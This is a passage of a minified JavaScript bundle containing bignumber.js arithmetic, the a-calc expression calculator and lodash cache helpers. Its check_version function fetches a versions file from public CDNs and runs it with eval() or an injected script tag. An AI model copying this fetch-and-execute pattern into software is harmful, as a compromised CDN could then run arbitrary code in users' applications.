m=r}if(e.hasOwnProperty(t="MODULO_MODE")&&(intCheck(r=e[t],0,9,t),v=r),e.hasOwnProperty(t="POW_PRECISION")&&(intCheck(r=e[t],0,MAX,t),$=r),e.hasOwnProperty(t="FORMAT")){if("object"!=_typeof(r=e[t]))throw Error(bignumberError+t+" not an object: "+r);A=r}if(e.hasOwnProperty(t="ALPHABET")){if("string"!=typeof(r=e[t])||/^.?$|[+\-.\s]|(.).*\1/.test(r))throw Error(bignumberError+t+" invalid: "+r);S="0123456789"==r.slice(0,10),T=r}}return{DECIMAL_PLACES:h,ROUNDING_MODE:_,EXPONENTIAL_AT:[g,y],RANGE:[b,d],CRYPTO:m,MODULO_MODE:v,POW_PRECISION:$,FORMAT:A,ALPHABET:T}},w.isBigNumber=function(e){if(!e||!0!==e._isBigNumber)return!1;if(!w.DEBUG)return!0;var t,r,a=e.c,n=e.e,o=e.s;e:if("[object Array]"=={}.toString.call(a)){if((1===o||-1===o)&&n>=-MAX&&n<=MAX&&n===mathfloor(n)){if(0===a[0]){if(0===n&&1===a.length)return!0;break e}if((t=(n+1)%LOG_BASE)<1&&(t+=LOG_BASE),String(a[0]).length==t){for(t=0;t<a.length;t++)if((r=a[t])<0||r>=BASE||r!==mathfloor(r))break e;if(0!==r)return!0}}}else if(null===a&&null===n&&(null===o||1===o||-1===o))return!0;throw Error(bignumberError+"Invalid BigNumber: "+e)},w.maximum=w.max=function(){return O(arguments,f.lt)},w.minimum=w.min=function(){return O(arguments,f.gt)},w.random=(n=9007199254740992,o=Math.random()*n&2097151?function(){return mathfloor(Math.random()*n)}:function(){return 8388608*(1073741824*Math.random()|0)+(8388608*Math.random()|0)},function(e){var t,r,a,n,i,s=0,c=[],l=new w(p);if(null==e?e=h:intCheck(e,0,MAX),n=mathceil(e/LOG_BASE),m)if(crypto.getRandomValues){for(t=crypto.getRandomValues(new Uint32Array(n*=2));s<n;)(i=131072*t[s]+(t[s+1]>>>11))>=9e15?(r=crypto.getRandomValues(new Uint32Array(2)),t[s]=r[0],t[s+1]=r[1]):(c.push(i%1e14),s+=2);s=n/2}else{if(!crypto.randomBytes)throw m=!1,Error(bignumberError+"crypto unavailable");for(t=crypto.randomBytes(n*=7);s<n;)(i=281474976710656*(31&t[s])+1099511627776*t[s+1]+4294967296*t[s+2]+16777216*t[s+3]+(t[s+4]<<16)+(t[s+5]<<8)+t[s+6])>=9e15?crypto.randomBytes(7).copy(t,s):(c.push(i%1e14),s+=7);s=n/7}if(!m)for(;s<n;)(i=o())<9e15&&(c[s++]=i%1e14);for(n=c[--s],e%=LOG_BASE,n&&e&&(i=POWS_TEN[LOG_BASE-e],c[s]=mathfloor(n/i)*i);0===c[s];c.pop(),s--);if(s<0)c=[a=0];else{for(a=-1;0===c[0];c.splice(0,1),a-=LOG_BASE);for(s=1,i=c[0];i>=10;i/=10,s++);s<LOG_BASE&&(a-=LOG_BASE-s)}return l.e=a,l.c=c,l}),w.sum=function(){for(var e=1,t=arguments,r=new w(t[0]);e<t.length;)r=r.plus(t[e++]);return r},r=function(){var e="0123456789";function r(e,t,r,a){for(var n,o,i=[0],s=0,c=e.length;s<c;){for(o=i.length;o--;i[o]*=t);for(i[0]+=a.indexOf(e.charAt(s++)),n=0;n<i.length;n++)i[n]>r-1&&(null==i[n+1]&&(i[n+1]=0),i[n+1]+=i[n]/r|0,i[n]%=r)}return i.reverse()}return function(a,n,o,i,s){var c,l,u,f,p,g,y,b,d=a.indexOf("."),m=h,v=_;for(d>=0&&(f=$,$=0,a=a.replace(".",""),g=(b=new w(n)).pow(a.length-d),$=f,b.c=r(toFixedPoint(coeffToString(g.c),g.e,"0"),10,o,e),b.e=b.c.length),u=f=(y=r(a,n,o,s?(c=T,e):(c=e,T))).length;0==y[--f];y.pop());if(!y[0])return c.charAt(0);if(d<0?--u:(g.c=y,g.e=u,g.s=i,y=(g=t(g,b,m,v,o)).c,p=g.r,u=g.e),d=y[l=u+m+1],f=o/2,p=p||l<0||null!=y[l+1],p=v<4?(null!=d||p)&&(0==v||v==(g.s<0?3:2)):d>f||d==f&&(4==v||p||6==v&&1&y[l-1]||v==(g.s<0?8:7)),l<1||!y[0])a=p?toFixedPoint(c.charAt(1),-m,c.charAt(0)):c.charAt(0);else{if(y.length=l,p)for(--o;++y[--l]>o;)y[l]=0,l||(++u,y=[1].concat(y));for(f=y.length;!y[--f];);for(d=0,a="";d<=f;a+=c.charAt(y[d++]));a=toFixedPoint(a,u,c.charAt(0))}return a}}(),t=function(){function e(e,t,r){var a,n,o,i,s=0,c=e.length,l=t%SQRT_BASE,u=t/SQRT_BASE|0;for(e=e.slice();c--;)s=((n=l*(o=e[c]%SQRT_BASE)+(a=u*o+(i=e[c]/SQRT_BASE|0)*l)%SQRT_BASE*SQRT_BASE+s)/r|0)+(a/SQRT_BASE|0)+u*i,e[c]=n%r;return s&&(e=[s].concat(e)),e}function t(e,t,r,a){var n,o;if(r!=a)o=r>a?1:-1;else for(n=o=0;n<r;n++)if(e[n]!=t[n]){o=e[n]>t[n]?1:-1;break}return o}function r(e,t,r,a){for(var n=0;r--;)e[r]-=n,n=e[r]<t[r]?1:0,e[r]=n*a+e[r]-t[r];for(;!e[0]&&e.length>1;e.splice(0,1));}return function(a,n,o,i,s){var c,l,u,f,p,h,_,g,y,b,d,m,v,$,A,T,S,E=a.s==n.s?1:-1,O=a.c,k=n.c;if(!(O&&O[0]&&k&&k[0]))return new w(a.s&&n.s&&(O?!k||O[0]!=k[0]:k)?O&&0==O[0]||!k?0*E:E/0:NaN);for(y=(g=new w(E)).c=[],E=o+(l=a.e-n.e)+1,s||(s=BASE,l=bitFloor(a.e/LOG_BASE)-bitFloor(n.e/LOG_BASE),E=E/LOG_BASE|0),u=0;k[u]==(O[u]||0);u++);if(k[u]>(O[u]||0)&&l--,E<0)y.push(1),f=!0;else{for($=O.length,T=k.length,u=0,E+=2,(p=mathfloor(s/(k[0]+1)))>1&&(k=e(k,p,s),O=e(O,p,s),T=k.length,$=O.length),v=T,d=(b=O.slice(0,T)).length;d<T;b[d++]=0);S=k.slice(),S=[0].concat(S),A=k[0],k[1]>=s/2&&A++;do{if(p=0,(c=t(k,b,T,d))<0){if(m=b[0],T!=d&&(m=m*s+(b[1]||0)),(p=mathfloor(m/A))>1)for(p>=s&&(p=s-1),_=(h=e(k,p,s)).length,d=b.length;1==t(h,b,_,d);)p--,r(h,T<_?S:k,_,s),_=h.length,c=1;else 0==p&&(c=p=1),_=(h=k.slice()).length;if(_<d&&(h=[0].concat(h)),r(b,h,d,s),d=b.length,-1==c)for(;t(k,b,T,d)<1;)p++,r(b,T<d?S:k,d,s),d=b.length}else 0===c&&(p++,b=[0]);y[u++]=p,b[0]?b[d++]=O[v]||0:(b=[O[v]],d=1)}while((v++<$||null!=b[0])&&E--);f=null!=b[0],y[0]||y.splice(0,1)}if(s==BASE){for(u=1,E=y[0];E>=10;E/=10,u++);C(g,o+(g.e=u+l*LOG_BASE-1)+1,i,f)}else g.e=l,g.r=+f;return g}}(),i=/^(-?)0([xbo])(?=\w[\w.]*$)/i,s=/^([^.]+)\.$/,c=/^\.([^.]+)$/,l=/^-?(Infinity|NaN)$/,u=/^\s*\+(?=[\w.])|^\s+|\s+$/g,a=function(e,t,r,a){var n,o=r?t:t.replace(u,"");if(l.test(o))e.s=isNaN(o)?null:o<0?-1:1;else{if(!r&&(o=o.replace(i,(function(e,t,r){return n="x"==(r=r.toLowerCase())?16:"b"==r?2:8,a&&a!=n?e:t})),a&&(n=a,o=o.replace(s,"$1").replace(c,"0.$1")),t!=o))return new w(o,n);if(w.DEBUG)throw Error(bignumberError+"Not a"+(a?" base "+a:"")+" number: "+t);e.s=null}e.c=e.e=null},f.absoluteValue=f.abs=function(){var e=new w(this);return e.s<0&&(e.s=1),e},f.comparedTo=function(e,t){return compare(this,new w(e,t))},f.decimalPlaces=f.dp=function(e,t){var r,a,n,o=this;if(null!=e)return intCheck(e,0,MAX),null==t?t=_:intCheck(t,0,8),C(new w(o),e+o.e+1,t);if(!(r=o.c))return null;if(a=((n=r.length-1)-bitFloor(this.e/LOG_BASE))*LOG_BASE,n=r[n])for(;n%10==0;n/=10,a--);return a<0&&(a=0),a},f.dividedBy=f.div=function(e,r){return t(this,new w(e,r),h,_)},f.dividedToIntegerBy=f.idiv=function(e,r){return t(this,new w(e,r),0,1)},f.exponentiatedBy=f.pow=function(e,t){var r,a,n,o,i,s,c,l,u=this;if((e=new w(e)).c&&!e.isInteger())throw Error(bignumberError+"Exponent not an integer: "+j(e));if(null!=t&&(t=new w(t)),i=e.e>14,!u.c||!u.c[0]||1==u.c[0]&&!u.e&&1==u.c.length||!e.c||!e.c[0])return l=new w(Math.pow(+j(u),i?e.s*(2-isOdd(e)):+j(e))),t?l.mod(t):l;if(s=e.s<0,t){if(t.c?!t.c[0]:!t.s)return new w(NaN);(a=!s&&u.isInteger()&&t.isInteger())&&(u=u.mod(t))}else{if(e.e>9&&(u.e>0||u.e<-1||(0==u.e?u.c[0]>1||i&&u.c[1]>=24e7:u.c[0]<8e13||i&&u.c[0]<=9999975e7)))return o=u.s<0&&isOdd(e)?-0:0,u.e>-1&&(o=1/o),new w(s?1/o:o);$&&(o=mathceil($/LOG_BASE+2))}for(i?(r=new w(.5),s&&(e.s=1),c=isOdd(e)):c=(n=Math.abs(+j(e)))%2,l=new w(p);;){if(c){if(!(l=l.times(u)).c)break;o?l.c.length>o&&(l.c.length=o):a&&(l=l.mod(t))}if(n){if(0===(n=mathfloor(n/2)))break;c=n%2}else if(C(e=e.times(r),e.e+1,1),e.e>14)c=isOdd(e);else{if(0===(n=+j(e)))break;c=n%2}u=u.times(u),o?u.c&&u.c.length>o&&(u.c.length=o):a&&(u=u.mod(t))}return a?l:(s&&(l=p.div(l)),t?l.mod(t):o?C(l,$,_,undefined):l)},f.integerValue=function(e){var t=new w(this);return null==e?e=_:intCheck(e,0,8),C(t,t.e+1,e)},f.isEqualTo=f.eq=function(e,t){return 0===compare(this,new w(e,t))},f.isFinite=function(){return!!this.c},f.isGreaterThan=f.gt=function(e,t){return compare(this,new w(e,t))>0},f.isGreaterThanOrEqualTo=f.gte=function(e,t){return 1===(t=compare(this,new w(e,t)))||0===t},f.isInteger=function(){return!!this.c&&bitFloor(this.e/LOG_BASE)>this.c.length-2},f.isLessThan=f.lt=function(e,t){return compare(this,new w(e,t))<0},f.isLessThanOrEqualTo=f.lte=function(e,t){return-1===(t=compare(this,new w(e,t)))||0===t},f.isNaN=function(){return!this.s},f.isNegative=function(){return this.s<0},f.isPositive=function(){return this.s>0},f.isZero=function(){return!!this.c&&0==this.c[0]},f.minus=function(e,t){var r,a,n,o,i=this,s=i.s;if(t=(e=new w(e,t)).s,!s||!t)return new w(NaN);if(s!=t)return e.s=-t,i.plus(e);var c=i.e/LOG_BASE,l=e.e/LOG_BASE,u=i.c,f=e.c;if(!c||!l){if(!u||!f)return u?(e.s=-t,e):new w(f?i:NaN);if(!u[0]||!f[0])return f[0]?(e.s=-t,e):new w(u[0]?i:3==_?-0:0)}if(c=bitFloor(c),l=bitFloor(l),u=u.slice(),s=c-l){for((o=s<0)?(s=-s,n=u):(l=c,n=f),n.reverse(),t=s;t--;n.push(0));n.reverse()}else for(a=(o=(s=u.length)<(t=f.length))?s:t,s=t=0;t<a;t++)if(u[t]!=f[t]){o=u[t]<f[t];break}if(o&&(n=u,u=f,f=n,e.s=-e.s),(t=(a=f.length)-(r=u.length))>0)for(;t--;u[r++]=0);for(t=BASE-1;a>s;){if(u[--a]<f[a]){for(r=a;r&&!u[--r];u[r]=t);--u[r],u[a]+=BASE}u[a]-=f[a]}for(;0==u[0];u.splice(0,1),--l);return u[0]?k(e,u,l):(e.s=3==_?-1:1,e.c=[e.e=0],e)},f.modulo=f.mod=function(e,r){var a,n,o=this;return e=new w(e,r),!o.c||!e.s||e.c&&!e.c[0]?new w(NaN):!e.c||o.c&&!o.c[0]?new w(o):(9==v?(n=e.s,e.s=1,a=t(o,e,0,3),e.s=n,a.s*=n):a=t(o,e,0,v),(e=o.minus(a.times(e))).c[0]||1!=v||(e.s=o.s),e)},f.multipliedBy=f.times=function(e,t){var r,a,n,o,i,s,c,l,u,f,p,h,_,g,y,b=this,d=b.c,m=(e=new w(e,t)).c;if(!(d&&m&&d[0]&&m[0]))return!b.s||!e.s||d&&!d[0]&&!m||m&&!m[0]&&!d?e.c=e.e=e.s=null:(e.s*=b.s,d&&m?(e.c=[0],e.e=0):e.c=e.e=null),e;for(a=bitFloor(b.e/LOG_BASE)+bitFloor(e.e/LOG_BASE),e.s*=b.s,(c=d.length)<(f=m.length)&&(_=d,d=m,m=_,n=c,c=f,f=n),n=c+f,_=[];n--;_.push(0));for(g=BASE,y=SQRT_BASE,n=f;--n>=0;){for(r=0,p=m[n]%y,h=m[n]/y|0,o=n+(i=c);o>n;)r=((l=p*(l=d[--i]%y)+(s=h*l+(u=d[i]/y|0)*p)%y*y+_[o]+r)/g|0)+(s/y|0)+h*u,_[o--]=l%g;_[o]=r}return r?++a:_.splice(0,1),k(e,_,a)},f.negated=function(){var e=new w(this);return e.s=-e.s||null,e},f.plus=function(e,t){var r,a=this,n=a.s;if(t=(e=new w(e,t)).s,!n||!t)return new w(NaN);if(n!=t)return e.s=-t,a.minus(e);var o=a.e/LOG_BASE,i=e.e/LOG_BASE,s=a.c,c=e.c;if(!o||!i){if(!s||!c)return new w(n/0);if(!s[0]||!c[0])return c[0]?e:new w(s[0]?a:0*n)}if(o=bitFloor(o),i=bitFloor(i),s=s.slice(),n=o-i){for(n>0?(i=o,r=c):(n=-n,r=s),r.reverse();n--;r.push(0));r.reverse()}for((n=s.length)-(t=c.length)<0&&(r=c,c=s,s=r,t=n),n=0;t;)n=(s[--t]=s[t]+c[t]+n)/BASE|0,s[t]=BASE===s[t]?0:s[t]%BASE;return n&&(s=[n].concat(s),++i),k(e,s,i)},f.precision=f.sd=function(e,t){var r,a,n,o=this;if(null!=e&&e!==!!e)return intCheck(e,1,MAX),null==t?t=_:intCheck(t,0,8),C(new w(o),e,t);if(!(r=o.c))return null;if(a=(n=r.length-1)*LOG_BASE+1,n=r[n]){for(;n%10==0;n/=10,a--);for(n=r[0];n>=10;n/=10,a++);}return e&&o.e+1>a&&(a=o.e+1),a},f.shiftedBy=function(e){return intCheck(e,-MAX_SAFE_INTEGER$2,MAX_SAFE_INTEGER$2),this.times("1e"+e)},f.squareRoot=f.sqrt=function(){var e,r,a,n,o,i=this,s=i.c,c=i.s,l=i.e,u=h+4,f=new w("0.5");if(1!==c||!s||!s[0])return new w(!c||c<0&&(!s||s[0])?NaN:s?i:1/0);if(0==(c=Math.sqrt(+j(i)))||c==1/0?(((r=coeffToString(s)).length+l)%2==0&&(r+="0"),c=Math.sqrt(+r),l=bitFloor((l+1)/2)-(l<0||l%2),a=new w(r=c==1/0?"5e"+l:(r=c.toExponential()).slice(0,r.indexOf("e")+1)+l)):a=new w(c+""),a.c[0])for((c=(l=a.e)+u)<3&&(c=0);;)if(o=a,a=f.times(o.plus(t(i,o,u,1))),coeffToString(o.c).slice(0,c)===(r=coeffToString(a.c)).slice(0,c)){if(a.e<l&&--c,"9999"!=(r=r.slice(c-3,c+1))&&(n||"4999"!=r)){+r&&(+r.slice(1)||"5"!=r.charAt(0))||(C(a,a.e+h+2,1),e=!a.times(a).eq(i));break}if(!n&&(C(o,o.e+h+2,0),o.times(o).eq(i))){a=o;break}u+=4,c+=4,n=1}return C(a,a.e+h+1,_,e)},f.toExponential=function(e,t){return null!=e&&(intCheck(e,0,MAX),e++),E(this,e,t,1)},f.toFixed=function(e,t){return null!=e&&(intCheck(e,0,MAX),e=e+this.e+1),E(this,e,t)},f.toFormat=function(e,t,r){var a,n=this;if(null==r)null!=e&&t&&"object"==_typeof(t)?(r=t,t=null):e&&"object"==_typeof(e)?(r=e,e=t=null):r=A;else if("object"!=_typeof(r))throw Error(bignumberError+"Argument not an object: "+r);if(a=n.toFixed(e,t),n.c){var o,i=a.split("."),s=+r.groupSize,c=+r.secondaryGroupSize,l=r.groupSeparator||"",u=i[0],f=i[1],p=n.s<0,h=p?u.slice(1):u,_=h.length;if(c&&(o=s,s=c,c=o,_-=o),s>0&&_>0){for(o=_%s||s,u=h.substr(0,o);o<_;o+=s)u+=l+h.substr(o,s);c>0&&(u+=l+h.slice(o)),p&&(u="-"+u)}a=f?u+(r.decimalSeparator||"")+((c=+r.fractionGroupSize)?f.replace(new RegExp("\\d{"+c+"}\\B","g"),"$&"+(r.fractionGroupSeparator||"")):f):u}return(r.prefix||"")+a+(r.suffix||"")},f.toFraction=function(e){var r,a,n,o,i,s,c,l,u,f,h,g,y=this,b=y.c;if(null!=e&&(!(c=new w(e)).isInteger()&&(c.c||1!==c.s)||c.lt(p)))throw Error(bignumberError+"Argument "+(c.isInteger()?"out of range: ":"not an integer: ")+j(c));if(!b)return new w(y);for(r=new w(p),u=a=new w(p),n=l=new w(p),g=coeffToString(b),i=r.e=g.length-y.e-1,r.c[0]=POWS_TEN[(s=i%LOG_BASE)<0?LOG_BASE+s:s],e=!e||c.comparedTo(r)>0?i>0?r:u:c,s=d,d=1/0,c=new w(g),l.c[0]=0;f=t(c,r,0,1),1!=(o=a.plus(f.times(n))).comparedTo(e);)a=n,n=o,u=l.plus(f.times(o=u)),l=o,r=c.minus(f.times(o=r)),c=o;return o=t(e.minus(a),n,0,1),l=l.plus(o.times(u)),a=a.plus(o.times(n)),l.s=u.s=y.s,h=t(u,n,i*=2,_).minus(y).abs().comparedTo(t(l,a,i,_).minus(y).abs())<1?[u,n]:[l,a],d=s,h},f.toNumber=function(){return+j(this)},f.toPrecision=function(e,t){return null!=e&&intCheck(e,1,MAX),E(this,e,t,2)},f.toString=function(e){var t,a=this,n=a.s,o=a.e;return null===o?n?(t="Infinity",n<0&&(t="-"+t)):t="NaN":(null==e?t=o<=g||o>=y?toExponential(coeffToString(a.c),o):toFixedPoint(coeffToString(a.c),o,"0"):10===e&&S?t=toFixedPoint(coeffToString((a=C(new w(a),h+o+1,_)).c),a.e,"0"):(intCheck(e,2,T.length,"Base"),t=r(toFixedPoint(coeffToString(a.c),o,"0"),10,e,n,!0)),n<0&&a.c[0]&&(t="-"+t)),t},f.valueOf=f.toJSON=function(){return j(this)},f._isBigNumber=!0,f[Symbol.toStringTag]="BigNumber",f[Symbol.for("nodejs.util.inspect.custom")]=f.valueOf,null!=e&&w.set(e),w}function bitFloor(e){var t=0|e;return e>0||e===t?t:t-1}function coeffToString(e){for(var t,r,a=1,n=e.length,o=e[0]+"";a<n;){for(t=e[a++]+"",r=LOG_BASE-t.length;r--;t="0"+t);o+=t}for(n=o.length;48===o.charCodeAt(--n););return o.slice(0,n+1||1)}function compare(e,t){var r,a,n=e.c,o=t.c,i=e.s,s=t.s,c=e.e,l=t.e;if(!i||!s)return null;if(r=n&&!n[0],a=o&&!o[0],r||a)return r?a?0:-s:i;if(i!=s)return i;if(r=i<0,a=c==l,!n||!o)return a?0:!n^r?1:-1;if(!a)return c>l^r?1:-1;for(s=(c=n.length)<(l=o.length)?c:l,i=0;i<s;i++)if(n[i]!=o[i])return n[i]>o[i]^r?1:-1;return c==l?0:c>l^r?1:-1}function intCheck(e,t,r,a){if(e<t||e>r||e!==mathfloor(e))throw Error(bignumberError+(a||"Argument")+("number"==typeof e?e<t||e>r?" out of range: ":" not an integer: ":" not a primitive number: ")+String(e))}function isOdd(e){var t=e.c.length-1;return bitFloor(e.e/LOG_BASE)==t&&e.c[t]%2!=0}function toExponential(e,t){return(e.length>1?e.charAt(0)+"."+e.slice(1):e)+(t<0?"e":"e+")+t}function toFixedPoint(e,t,r){var a,n;if(t<0){for(n=r+".";++t;n+=r);e=n+e}else if(++t>(a=e.length)){for(n=r,t-=a;--t;n+=r);e+=n}else t<a&&(e=e.slice(0,t)+"."+e.slice(t));return e}var BigNumber=clone();function eval_postfix(e){for(var t=[];e.length>0;){var r=e.shift();if(is_operator(r)){if(t.length<2)throw new Error("错误的栈长度, 可能是无法计算的表达式");var a=t.pop(),n=t.pop(),o=n+r+a;if(o in cache_eval){t.push(cache_eval[o].value),cache_eval[o].last_time=(new Date).getTime(),cache_eval[o].count++;continue}if("string"==typeof a&&!BigNumber.isBigNumber(a)){if(!is_str_number(a))throw new Error("".concat(a,"不是一个合法的数字"));a=new BigNumber(a)}if("string"==typeof n&&!BigNumber.isBigNumber(n)){if(!is_str_number(n))throw new Error("".concat(n,"不是一个合法的数字"));n=new BigNumber(n)}switch(r){case"+":var i=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.plus(a)};t.push(i.value);break;case"-":var s=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.minus(a)};t.push(s.value);break;case"*":var c=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.times(a)};t.push(c.value);break;case"/":var l=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.div(a)};t.push(l.value);break;case"%":var u=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.mod(a)};t.push(u.value);break;case"**":var f=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.pow(a)};t.push(f.value)}}else t.push(r)}if(1!==t.length)throw"unvalid expression";var p=t[0];if((p=BigNumber.isBigNumber(p)?p:BigNumber(p)).isNaN())throw new Error("计算结果为NaN");return p}function format(e,t){var r="";if(BigNumber.isBigNumber(e)?r=e.toFixed():"string"!=typeof e&&(r=e.toString()),"undefined"===r||"NaN"===r)return[null,{}];var a={mantissa:null,mantissa_type:null,thousands:!1,sign:!1,round:"~-",scientific:!1,fraction:!1,percent:!1,to_number:!1,to_number_string:!1};if(t.forEach((function(e){var t=e.type;if("symbol"===t){if(![">=","<=","=","<",">"].includes(e.value))throw new Error("错误的格式化参数:",e.value);a.mantissa_type=e.value}else if("to-number"===t)a.to_number=!0;else if("to-number-string"===t)a.to_number_string=!0;else if("comma"===t)a.thousands=!0;else if("number"===t)a.mantissa=e.value;else if("plus"===t)a.sign=!0;else if("round"===t)a.round=e.value;else if("fraction"===t)a.fraction=!0;else if("scientific"===t)a.scientific=!0;else{if("percent"!==t)throw new Error("错误的fmt Token");a.percent=!0}})),a.to_number)return[+parse_mantissa(r,a.mantissa_type,a.mantissa,a.round),a];if(a.scientific){var n=BigNumber(r).toExponential();return[a.sign&&!n.startsWith("-")?"+"+n:n,a]}if(a.fraction){var o=BigNumber(r).toFraction().map((function(e){return e.toFixed()})).join("/");return[a.sign&&!o.startsWith("-")?"+"+o:o,a]}return a.percent&&(r=BigNumber(r).times(100).toFixed()),not_null(a.mantissa)&&(r=parse_mantissa(r,a.mantissa_type,a.mantissa,a.round)),a.thousands&&(r=parse_thousands(r)),a.sign&&(a.to_number=!1,r.startsWith("-")||(r="+"+r)),a.percent&&(r+="%"),[r,a]}function fill_fmt_tokens(e,t){return e.map((function(e){if("var"!==e.type)return e;for(var r,a=0;a<t.length&&!not_undefined(r=get$1(t[a],e.value));a++);if(is_number(r))return{type:"number",value:r};throw new Error("错误的填充值")}))}function get_token_and_unit(e){var t=null;return e.length,{tokens:e.map((function(e){var r=split_unit_num(e.value);return null!==r.unit?(null==t&&(t=r.unit),{type:"number",value:r.num}):e})),unit:t}}var stringify$1={exports:{}};!function(e,t){function r(e,t){var r=[],a=[];return null==t&&(t=function(e,t){return r[0]===t?"[Circular ~]":"[Circular ~."+a.slice(0,r.indexOf(t)).join(".")+"]"}),function(n,o){if(r.length>0){var i=r.indexOf(this);~i?r.splice(i+1):r.push(this),~i?a.splice(i,1/0,n):a.push(n),~r.indexOf(o)&&(o=t.call(this,n,o))}else r.push(o);return null==e?o:e.call(this,n,o)}}(e.exports=function(e,t,a,n){return JSON.stringify(e,r(t,n),a)}).getSerialize=r}(stringify$1,stringify$1.exports);var stringifyExports=stringify$1.exports,stringify=getDefaultExportFromCjs(stringifyExports),_debug=!1,_important_push=!0;function close_important_push(){_important_push=!1}function open_important_push(){_important_push=!0}function open_debug(){_debug=!0}function close_debug(){_debug=!1}function get_debug_config(){return _debug}var debug_color={bg:"#ff8936",fg:"#fff",field:"#67C23A",field2:"#ee7959"},debug_style={expr:"background: ".concat(debug_color.bg,";color: ").concat(debug_color.fg,";font-weight: bold;border-radius: 4px; padding: 3px 8px;"),label1:"color: ".concat(debug_color.field,"; font-weight: bold; white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"),label2:"color: ".concat(debug_color.field2,"; font-weight: bold; white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"),nowrap:"white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"};function calc_wrap(e,t){var r={},a={_error:"-"};return["string","number"].includes(_typeof(e))?(Array.isArray(t)||void 0===t||Object.keys(t).forEach((function(e){return e.startsWith("_")&&(a[e]=t[e])})),r=null!=t?t:{},/[a-zA-Z_$]/.test(e.toString())?void 0!==t?(r=t,calc(e,_objectSpread2(_objectSpread2({},a),r))):function(t){return calc(e,_objectSpread2(_objectSpread2({},a),t))}:calc(e,_objectSpread2(_objectSpread2({},a),r))):(r=e,function(e){return calc(e,_objectSpread2(_objectSpread2({},a),r))})}function check_version(){return _check_version.apply(this,arguments)}function _check_version(){return _check_version=_asyncToGenerator(_regeneratorRuntime().mark((function _callee(){var res,code,versions,last_version,larr,varr,script,url;return _regeneratorRuntime().wrap((function _callee$(_context){for(;;)switch(_context.prev=_context.next){case 0:if("undefined"==typeof process||"node"!==process.release.name){_context.next=19;break}if(!(parseInt(process.versions.node)>=17)){_context.next=17;break}return _context.next=4,promise_queue([fetch("https://cdn.jsdelivr.net/npm/a-calc@latest/a-calc.versions.js"),fetch("https://unpkg.com/a-calc@latest/a-calc.versions.js")]);case 4:return res=_context.sent,_context.next=7,res.text();case 7:code=_context.sent,versions=eval(code),last_version=versions.at(-1),larr=last_version.match(/(\d+)\.(\d+)\.(\d+)/),larr.shift(),larr=larr.map((function(e){return parseInt(e)})),varr=version.match(/(\d+)\.(\d+)\.(\d+)/),varr.shift(),varr=varr.map((function(e){return parseInt(e)})),(larr[0]>varr[0]||larr[0]===varr[0]&&larr[1]>varr[1]||larr[0]===varr[0]&&larr[1]===varr[1]&&larr[2]>varr[2])&&console.warn("a-calc has a new version:",last_version);case 17:_context.next=25;break;case 19:return script=document.createElement("script"),script.onload=function(){var e=a_calc_versions;if(Array.isArray(e)){var t=e.at(-1),r=t.match(/(\d+)\.(\d+)\.(\d+)/);r.shift(),r=r.map((function(e){return parseInt(e)}));var a=version.match(/(\d+)\.(\d+)\.(\d+)/);a.shift(),a=a.map((function(e){return parseInt(e)})),(r[0]>a[0]||r[0]===a[0]&&r[1]>a[1]||r[0]===a[0]&&r[1]===a[1]&&r[2]>a[2])&&console.log("%c↑↑↑ a-calc has a new version: %s ↑↑↑","color: #67C23A;",t)}},_context.next=23,test_urls(["https://cdn.jsdelivr.net/npm/a-calc@latest/a-calc.versions.js","https://unpkg.com/a-calc@latest/a-calc.versions.js"]);case 23:url=_context.sent,url?(script.src=url,document.body.appendChild(script)):script=null;case 25:case"end":return _context.stop()}}),_callee)}))),_check_version.apply(this,arguments)}function idle_cleaner(){get_debug_config()&&console.log("清理者开始运行"),globalThis.__calc_cleaner_timer||(globalThis.__calc_cleaner_timer=setInterval((function(){idle((function(){get_debug_config()&&(console.log("执行空闲清理程序, 当前缓存:"),console.log("cache_eval:",cache_eval),console.log("cache_tokens:",cache_tokens),console.log("cache_fmt_tokens:",cache_fmt_tokens));var e=Object.keys(cache_eval),t=Object.keys(cache_tokens),r=Object.keys(cache_fmt_tokens),a=(new Date).getTime();e.forEach((function(e){var t=cache_eval[e],r=a-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_eval[e]})),t.forEach((function(e){var t=cache_tokens[e],r=a-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_tokens[e]})),r.forEach((function(e){var t=cache_fmt_tokens[e],r=a-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_fmt_tokens[e]}))}))}),1e4))}var ListCache$2=_ListCache;function stackClear$1(){this.__data__=new ListCache$2,this.size=0}var _stackClear=stackClear$1;function stackDelete$1(e){var t=this.__data__,r=t.delete(e);return this.size=t.size,r}var _stackDelete=stackDelete$1;function stackGet$1(e){return this.__data__.get(e)}var _stackGet=stackGet$1;function stackHas$1(e){return this.__data__.has(e)}var _stackHas=stackHas$1,ListCache$1=_ListCache,Map$1=_Map,MapCache$1=_MapCache,LARGE_ARRAY_SIZE=200;function stackSet$1(e,t){var r=this.__data__;if(r instanceof ListCache$1){var a=r.__data__;if(!Map$1||a.length<LARGE_ARRAY_SIZE-1)return a.push([e,t]),this.size=++r.size,this;r=this.__data__=new MapCache$1(a)}return r.set(e,t),this.size=r.size,this}var _stackSet=stackSet$1,ListCache=_ListCache,stackClear=_stackClear,stackDelete=_stackDelete,stackGet=_stackGet,stackHas=_stackHas,stackSet=_stackSet;function Stack$1(e){var t=this.__data__=new ListCache(e);this.size=t.size}Stack$1.prototype.clear=stackClear,Stack$1.prototype.delete=stackDelete,Stack$1.prototype.get=stackGet,Stack$1.prototype.has=stackHas,Stack$1.prototype.set=stackSet;var _Stack=Stack$1,HASH_UNDEFINED="__lodash_hash_undefined__";function setCacheAdd$1(e){return this.__data__.set(e,HASH_UNDEFINED),this}var _setCacheAdd=setCacheAdd$1;function setCacheHas$1(e){return this.__data__.has(e)}var _setCacheHas=setCacheHas$1,MapCache=_MapCache,setCacheAdd=_setCacheAdd,setCacheHas=_setCacheHas;function SetCache$1(e){var t=-1,r=null==e?0:e.length;for(this.__data__=new MapCache;++t<r;)this.add(e[t])}SetCache$1.prototype.add=SetCache$1.prototype.push=setCacheAdd,SetCache$1.prototype.has=setCacheHas;var 